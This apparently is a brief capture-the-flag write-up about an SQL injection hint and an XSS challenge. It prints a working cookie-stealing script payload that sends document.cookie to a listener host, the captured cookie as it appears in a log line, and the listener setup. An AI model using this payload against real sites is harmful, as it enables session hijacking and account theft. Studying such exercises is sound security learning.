The secret to figuring out the SQL injection was ~~trying everything~~ tuning the query to stop returning Error 500.

## XSS

```html
<script>document.location="http://192.168.14.3:8080/?cookie="+document.cookie;</script>
```

## Cookie
`GET /?cookie=auth=Iwillseeyouagainin32years. HTTP/1.1" 200 -`

## Writeup
The main additional thing I did was start up a `SimpleHTTPServer` on port 8080 of the server I have SSH access to. The attack works because the server is making an HTTP request to that port with the cookie being that of the browser.
